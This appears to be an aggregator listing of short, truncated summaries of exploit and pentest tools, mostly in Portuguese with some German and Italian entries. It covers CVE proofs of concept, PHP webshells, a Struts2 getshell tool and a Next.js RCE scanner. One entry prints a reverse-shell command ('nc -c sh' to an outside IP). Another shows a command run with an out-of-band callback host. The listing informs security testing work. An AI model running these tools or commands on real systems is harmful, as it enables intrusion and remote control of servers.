bypass_disablefunc_via_LD_PRELOAD

bypassdisablefunc.php tem três opções GET: cmd, outpath e sopath. As opções são muito simples: cmd é o seu comando malicioso; outpath é o caminho do arquivo de saída do comando legível e gravável; sopath é o caminho absoluto do nosso objeto compartilhado bypassdisablefuncx64.so. Por exemplo:...

CVE-2016-4437

CVE-2016-4437 POC em Python para Explorar a Vulnerabilidade de Desserialização CVE-2016-4437 do Apache Shiro devido a uma Chave de Criptografia Hardcoded Exemplo de uso: ./CVE-2016-4437.py -c nslookup -u https://example.com/ -i ecsepnkqtxlishpynfdge01543e4vmx7v.oast.fun Consulte os comentários e ...

Struts2-045-Exp

Struts2 S2-045 CVE-2017-5638 Ferramentas Exp Função do Exp: Execução de Comandos Obter o Caminho Físico do Site Alvo Upload de Arquivo Getshell Webshell Padrão para o Chopper Suporta HTTP/HTTPS Suporta URL com Qualquer Porta Nota: A Senha do Webshell Padrão é s2045@exp Aviso O Projeto Destina-se ...

cve-2020-0688

cve-2020-0688 Fiz este script para executar o CVE-2020-0688 mais rapidamente. Ele ajuda a melhorar a verificação da vulnerabilidade, reduzindo enormemente as etapas para isso. Modifique estas entradas antes de executar o arquivo. url = "https://mail.something.com" input 1 command = "cmd /c echo...

web-application-firewall-

Simulação de Firewall de Aplicação Web Visão Geral Este projeto demonstra uma simulação de Firewall de Aplicação Web WAF usando Flask e um verificador de vulnerabilidades para CVE-2017-5638. O middleware do WAF bloqueia requisições HTTP que contenham padrões específicos, e o verificador de...

p0wny-shell

p0wny@shell: -- Shell PHP de arquivo único p0wny@shell: é um shell PHP muito básico, de arquivo único. Pode ser usado para executar comandos rapidamente em um servidor ao realizar pentest em um aplicativo PHP. Use-o com cautela: este script representa um risco de segurança para o servidor...

CVE-2022-22947-POC

CVE-2022-22947-POC Script de detecção em lote para CVE-2022-22947. O comando de eco não foi filtrado por regex. Pessoal, usem por enquanto; atualizações virão depois. Coloque o url.txt no mesmo diretório do script Execute diretamente python 脚本.py Demonstração: Após a conclusão da detecção, será...

watchTowr-vs-JunosEvolved-CVE-2026-21902

watchTowr-vs-JunosEvolved-CVE-2026-21902 Gerador de Artefactos de Deteção para Juniper Junos Evolved CVE-2026-21902. https://github.com/user-attachments/assets/a7d667e1-7636-4097-ab3f-838944cdcccc Consulte a nossa publicação no blog para detalhes técnicos. Deteção em Ação root@kitploit: python...

CVE-2023-30990

Exploits da CVE-2023-30990 Consulte a nossa publicação no blog para detalhes: https://blog.silentsignal.eu/2025/09/04/Exploit-development-for-IBM-i/ Os scripts Python requerem o módulo ebcdic: pip install ebcdic Método S38CMD do DRDA root@kitploit: python3 ddm.py "" Método SQL do DRDA...

CVE-2025-55182-POC

CVE-2025-55182 Next.js RCE Scanner Ferramenta de varredura e exploração da CVE-2025-55182, voltada para a vulnerabilidade de execução remota de código em aplicações Next.js. Suporta detecção em lote, execução de comandos, injeção de memory shell do Godzilla e funcionalidade de reverse shell. ⚠️...

CVE-2025-55182-POC

CVE-2025-55182-POC React2Shell POC Uso: root@kitploit: sudo python3 hehe.py -t -c Exemplo: root@kitploit: ❯ sudo python3 hehe-t 12.05.12.05 -c "id" . .. . | \ | | / \ / || || | | | / || | | | | || | | | | | | | | / ^ \ | ,----'---| |----| | | | | ----| || | | | | | | | | / | | / /\ \ | | | | | | ...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC POC para CVE-2023-30258-RCE por n0o0b Uso root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd C...

wp2shell

wp2shell Execução remota de código pré-autenticação para WordPress 6.9.0–6.9.4 e 7.0.0–7.0.1. Encadeia o CVE-2026-63030 confusão de rota em lote com SQLi com o CVE-2026-60137 reentrada de changeset do customizer para obter criação de administrador não autenticado e execução de comandos no sistema...

CVE-2024-53407

CVE-2024-53407 In Phiewer 4.1.0 führt eine dylib-Injektion zur Befehlsausführung, die es Angreifern ermöglicht, eine dylib-Datei zu injizieren, was möglicherweise zu Fernsteuerung und unbefugtem Zugriff auf sensible Benutzerdaten unter macOS führt. Reproduktion Verwenden Sie die .dylib-Datei, um...

Gorsair

Gorsair Gorsair è uno strumento di penetration testing per scoprire e accedere da remoto alle API Docker da container Docker vulnerabili. Una volta ottenuto l'accesso al demone Docker, puoi usare Gorsair per eseguire direttamente comandi su container remoti. Esporre l'API Docker su internet è un...

CVE-2025-64512

CVE-2025-64512 – pdfminer.six-Deserialisierungs-PoC Übersicht Dieser Proof-of-Concept demonstriert eine Schwachstelle in pdfminer.six CVE-2025-64512, die zur Ausführung beliebiger Befehle führen kann, wenn eine schädliche PDF-Datei verarbeitet wird. Der Exploit verwendet eine präparierte PDF-Date...

CVE-2018-17431-Comodo

CVE-2018-17431-PoC Proof of Concept für CVE-2018-17431 Exploit-Titel: Comodo Firewall & Central Manager UTM Alle Versionen vor 2.7.0 & 1.5.0 Remote-Befehlsausführung Web-Shell-basiert Exploit-Autor: Milad Fadavvi Hersteller-Webseite: https://www.comodo.com/ Software-Link:...

CVE-2023-38646

CVE-2023-38646-exploit "Diese als CVE-2023–38646 bezeichnete Schwachstelle erlaubte Angreifern, beliebige Befehle auf dem Server auszuführen, ohne dass eine Authentifizierung erforderlich war." Ein schnelles Reverse-Shell-Exploit-Skript für cve-2023-38646. Ich habe diese Schwachstelle nicht...

CVE-2023-33246

CVE-2023-33246 CVE-2023-33246: Ferramenta de detecção de vulnerabilidade de execução remota de comandos no Apache RocketMQ Funcionalidades da ferramenta Uso simples Execute ./apacherocketmqcve202333246scannerlinuxamd64 scan Saída: "是否存在漏洞：是" ou "VulnFound: true" indica que a vulnerabilidade exist...

CVE-2020-16947

CVE-2020-16947 Outlook 2019 Remotecodeausführung Dieser Fehler trat beim Parsen von HTML-Inhalten auf. Wenn ein Angreifer diesen Exploit erfolgreich ausführt, kann dies zu einer Remotecodeausführung führen. Beim Kopieren von Zeichenfolgen außerhalb des ASCII-Bereichs in HTML-Inhalten wird die...